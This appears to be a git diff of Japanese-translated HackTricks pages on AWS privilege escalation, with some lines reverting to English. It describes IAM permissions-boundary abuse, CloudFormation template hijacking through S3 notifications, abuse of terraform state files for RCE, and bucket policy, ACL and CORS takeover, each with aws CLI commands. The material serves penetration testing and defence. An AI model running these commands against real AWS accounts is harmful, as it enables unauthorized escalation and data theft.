この権限により攻撃者はユーザーの permissions boundary を更新できるようになり、通常は既存の権限によって制限されている操作を実行できるようにして権限を昇格させる可能性があります。
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -249,8 +249,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
iam:PutRolePermissionsBoundary を持つ主体は、既存の role に permissions boundary を設定できます。
|
||||
この権限を持つ者が role の permissions boundary を変更するとリスクが生じます：操作を不適切に制限してサービスの停止を引き起こす可能性があるか、許容的な permissions boundary を付与した場合は role が実行できる操作が実質的に拡大し、権限昇格を招く可能性があります。
|
||||
`iam:PutRolePermissionsBoundary` を持つ主体は、既存のロールに permissions boundary を設定できます。問題は、この権限を持つ者がロールの permissions boundary を変更した場合に発生します：操作を不適切に制限してサービスの中断を引き起こす可能性がある一方、許容的な permissions boundary をアタッチすると、実質的にロールができることを拡大して権限昇格を引き起こす可能性があります。
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
|
||||
@@ -6,9 +6,9 @@
|
||||
|
||||
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
|
||||
|
||||
これらの permissions を持つ attacker が対象の buckets に対して hijack resources や escalate privileges を行える可能性があります。
|
||||
これらの権限を対象のバケットに対して持つ攻撃者は、リソースを乗っ取り権限を昇格させることができる可能性があります。
|
||||
|
||||
例えば、**permissions over a cloudformation bucket** called "cf-templates-nohnwfax6a6i-us-east-1" を持つ attacker は deployment を hijack できます。アクセスは以下のポリシーで付与できます:
|
||||
例えば、"cf-templates-nohnwfax6a6i-us-east-1" という cloudformation バケットに対する **権限** を攻撃者が持っている場合、デプロイを乗っ取ることができます。アクセスは以下のポリシーで付与できます:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -34,29 +34,30 @@
|
||||
]
|
||||
}
|
||||
```
|
||||
そしてこのハイジャックが可能なのは、テンプレートがバケットにアップロードされてからテンプレートがデプロイされるまでに**ごく短い時間ウィンドウが存在する**ためです。攻撃者は自分のアカウントに**lambda function**を作成し、**bucket notification**が送信されたときにトリガーして、その**bucket**の**content**を**hijacks**するだけかもしれません。
|
||||
And the hijack is possible because there is a **small time window from the moment the template is uploaded** to the bucket to the moment the **template is deployed**. An attacker might just create a **lambda function** in his account that will **trigger when a bucket notification is sent**, and **hijacks** the **content** of that **bucket**.
|
||||
|
||||
.png>)
|
||||
|
||||
The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) can be used to automate this attack.\
|
||||
詳細はオリジナルの調査を参照してください: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
For mor informatino check the original research: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
|
||||
|
||||
これらはS3からオブジェクトを取得およびアップロードするための権限です。AWS内（および外部）で動作するいくつかのサービスは、**config files**を保存するためにS3ストレージを利用します。\
|
||||
これらに対して**読み取り権限**を持つ攻撃者は、そこに**機密情報**を見つける可能性があります。\
|
||||
これらに対して**書き込み権限**を持つ攻撃者は、データを改ざんしてサービスを悪用し、権限昇格を試みることができます。\
|
||||
いくつかの例を示します：
|
||||
これらは **get and upload objects to S3** 権限です。AWS 内外のいくつかのサービスは **config files** を保存するために S3 ストレージを利用します。\
|
||||
攻撃者がそれらに対して **read access** を持っていれば、**sensitive information** を発見する可能性があります。\
|
||||
攻撃者がそれらに対して **write access** を持っていれば、**modify the data to abuse some service and try to escalate privileges** するためにデータを改変できる可能性があります。\
|
||||
いくつかの例を以下に示します:
|
||||
|
||||
- EC2インスタンスが**user data in a S3 bucket**を保存している場合、攻撃者はそれを改変して**execute arbitrary code inside the EC2 instance**させることができます。
|
||||
- もし EC2 インスタンスが **user data in a S3 bucket** を保存している場合、攻撃者はそれを改変して **execute arbitrary code inside the EC2 instance** させることができます。
|
||||
|
||||
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
|
||||
|
||||
[terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html)のstateファイルがクラウドプロバイダのblobストレージ（例：AWS S3）に保存されることは非常に一般的です。stateファイルのサフィックスは`.tfstate`であり、バケット名からterraform stateファイルを格納していることが分かることも多いです。通常、各AWSアカウントにはアカウントの状態を示すstateファイルを保存するためのそのようなバケットが1つあります。現実のアカウントでは、ほとんどの場合すべての開発者が`s3:*`を持っていたり、ビジネスユーザが`s3:Put*`を持っていたりします。
|
||||
It is very common that the [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files are being saved to blob storage of cloud providers, e.g. AWS S3. The file suffix for a state file is `.tfstate`, and the bucket names often also give away that they contain terraform state files. Usually, every AWS account has one such bucket to store the state files that show the state of the account.
|
||||
Also usually, in real world accounts almost always all developers have `s3:*` and sometimes even business users have `s3:Put*`.
|
||||
|
||||
したがって、これらのファイルに対する権限を持っている場合、pipeline内で`terraform`の権限（多くの場合`AdministratorAccess`）でRCEを得られる攻撃ベクトルがあります。これによりクラウドアカウントの管理者になれる場合が多いです。また、そのベクトルを使って`terraform`に正当なリソースを削除させることでDoS攻撃を行うこともできます。
|
||||
So, if you have the permissions listed over these files, there is an attack vector that allows you to gain RCE in the pipeline with the privileges of `terraform` - most of the time `AdministratorAccess`, making you the admin of the cloud account. Also, you can use that vector to do a denial of service attack by making `terraform` delete legitimate resources.
|
||||
|
||||
直接使えるエクスプロイトコードについては、*Terraform Security*ページの*Abusing Terraform State Files*セクションの説明に従ってください：
|
||||
Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code:
|
||||
|
||||
{{#ref}}
|
||||
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
|
||||
@@ -64,7 +65,7 @@ The Pacu module [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/
|
||||
|
||||
### `s3:PutBucketPolicy`
|
||||
|
||||
攻撃者が**同じアカウントからの**ものである必要があり、そうでない場合はエラー `The specified method is not allowed will trigger` が発生しますが、この権限を持っているとバケットに対して自身にさらに多くの権限を付与できるようになります。これによりバケットの読み取り、書き込み、変更、削除、公開などが可能になります。
|
||||
攻撃者は **from the same account** である必要があり、そうでない場合はエラー `The specified method is not allowed will trigger` が発生しますが、この権限があれば当該バケットに対して自身にさらに多くの権限を付与し、読み取り、書き込み、変更、削除、公開などを行えるようになります。
|
||||
```bash
|
||||
# Update Bucket policy
|
||||
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
|
||||
@@ -122,8 +123,7 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
|
||||
```
|
||||
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
|
||||
|
||||
attackerはこれらの権限を悪用して特定の buckets に対して**より多くのアクセス権を自分に付与する**ことができます。\
|
||||
なお、attackerは same account に所属している必要はありません。さらに、write access
|
||||
攻撃者はこれらの権限を悪用して、特定の buckets に対するアクセスを**攻撃者自身により多く付与する**ことができます。\ 攻撃者は同じアカウントに所属している必要はありません。さらに、write access
|
||||
```bash
|
||||
# Update bucket ACL
|
||||
aws s3api get-bucket-acl --bucket <bucket-name>
|
||||
@@ -150,7 +150,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
|
||||
|
||||
攻撃者はこれらの権限を悪用して、バケット内の特定のオブジェクトに対するアクセス権を拡大できる。
|
||||
攻撃者はこれらの権限を悪用して、バケット内の特定のオブジェクトに対する自分のアクセス権を拡大することができます。
|
||||
```bash
|
||||
# Update bucket object ACL
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
@@ -177,16 +177,16 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
|
||||
|
||||
これらの権限を持つ攻撃者は、特定のオブジェクトバージョンに対してAclを設定できると想定されます。
|
||||
これらの権限を持つ攻撃者は、特定のオブジェクトバージョンに対して Acl を設定できると想定されます。
|
||||
```bash
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
|
||||
```
|
||||
### `s3:PutBucketCORS`
|
||||
|
||||
s3:PutBucketCORS 権限を持つ攻撃者は、バケットの CORS (Cross-Origin Resource Sharing) 設定を変更できます。これにより、どのウェブドメインがエンドポイントにアクセスできるかが制御されます。もし寛容なポリシーを設定すれば、任意のウェブサイトがバケットに対して直接リクエストを行い、ブラウザ上でレスポンスを読み取ることが可能になります。
|
||||
s3:PutBucketCORS 権限を持つ攻撃者は、バケットの CORS (Cross-Origin Resource Sharing) 設定を変更できます。この設定はどの Web ドメインがバケットのエンドポイントにアクセスできるかを制御します。寛容なポリシーを設定すると、任意のサイトがブラウザ経由で直接バケットにリクエストを送り、レスポンスを読み取れるようになります。
|
||||
|
||||
つまり、バケットからホストされるウェブアプリの認証済みユーザーが攻撃者のサイトを訪れた場合、攻撃者は寛容な CORS ポリシーを悪用し、アプリ次第ではユーザーのプロファイルデータにアクセスしたり、アカウントを乗っ取ったりする可能性があります。
|
||||
つまり、バケットからホストされている Web アプリの認証済みユーザーが攻撃者のサイトを訪れた場合、攻撃者は寛容な CORS ポリシーを悪用して、アプリによってはユーザーのプロファイルデータにアクセスしたり、アカウントを乗っ取ったりする可能性があります。
|
||||
```bash
|
||||
aws s3api put-bucket-cors \
|
||||
--bucket <BUCKET_NAME> \
|
||||
|
||||
@@ -6,32 +6,27 @@
|
||||
|
||||
### コンテナサービス
|
||||
|
||||
コンテナサービスに分類されるサービスは、以下の特徴を持ちます:
|
||||
コンテナサービスに該当するサービスは以下の特徴を持ちます:
|
||||
|
||||
- サービス自体は **別のインフラストラクチャインスタンス（例: EC2）上で稼働** します。
|
||||
- **AWS** が **オペレーティングシステムとプラットフォームの管理** を担当します。
|
||||
- 管理されたサービスは AWS によって提供され、通常は **コンテナとして見なされる実際のアプリケーション自体がサービス** となります。
|
||||
- これらのコンテナサービスの利用者として、**ネットワークアクセスのセキュリティ管理（ネットワークアクセスコントロールリストのルールやファイアウォールなど）を管理する** など、いくつかの管理およびセキュリティ責任があります。
|
||||
- また、存在する場合はプラットフォームレベルの identity and access management（アイデンティティおよびアクセス管理）も含まれます。
|
||||
- **Examples**: Relational Database Service, Elastic Mapreduce, Elastic Beanstalk.
|
||||
- サービス自体は **EC2 のような別個のインフラストラクチャインスタンス** 上で動作します。
|
||||
- **AWS** が **オペレーティングシステムやプラットフォームの管理** を担当します。
|
||||
- マネージドサービスが AWS によって提供され、通常は **コンテナとして見なされる実際のアプリケーション自体がそのサービス** です。
|
||||
- これらのコンテナサービスの利用者としては、**ネットワークアクセス制御リストのルールやファイアウォールなど、ネットワークアクセスのセキュリティ管理** を含む多くの管理・セキュリティ責任があります。
|
||||
- また、存在する場合はプラットフォームレベルの identity and access management も含まれます。
|
||||
- **Examples** of AWS container services include Relational Database Service, Elastic Mapreduce, and Elastic Beanstalk.
|
||||
|
||||
### 抽象サービス
|
||||
|
||||
- これらのサービスは、クラウドアプリケーションが構築されるプラットフォームや管理レイヤーから **切り離され、抽象化されています**。
|
||||
- サービスにはエンドポイント経由で、AWS のアプリケーションプログラミングインターフェース、APIs を使用してアクセスされます。
|
||||
- **基盤となるインフラストラクチャ、オペレーティングシステム、およびプラットフォームは AWS によって管理** されます。
|
||||
- 抽象化されたサービスは、基盤インフラが共有されるマルチテナンシープラットフォームを提供します。
|
||||
- **Data is isolated via security mechanisms**.
|
||||
- 抽象サービスは IAM と強く統合されており、**例** としては S3、DynamoDB、Amazon Glacier、SQS などがあります。
|
||||
- これらのサービスは、クラウドアプリケーションが構築されるプラットフォームや管理レイヤーから **切り離され、抽象化** されています。
|
||||
- サービスはエンドポイント経由で、AWS の application programming interfaces、APIs を使ってアクセスされます。
|
||||
- **基盤となるインフラストラクチャ、オペレーティングシステム、およびプラットフォームは AWS により管理** されます。
|
||||
- 抽象化されたサービスは、基盤となるインフラを共有するマルチテナンシプラットフォームを提供します。
|
||||
- **データはセキュリティ機構によって分離** されます。
|
||||
- 抽象サービスは IAM と強く統合されており、**examples** of abstract services include S3, DynamoDB, Amazon Glacier, and SQS.
|
||||
|
||||
## サービスの列挙
|
||||
|
||||
**The pages of this section are ordered by AWS service. In there you will be able to find information about the service (how it works and capabilities) and that will allow you to escalate privileges.**
|
||||
|
||||
### Related: Amazon Bedrock security
|
||||
|
||||
{{#ref}}
|
||||
aws-bedrock-agents-memory-poisoning.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user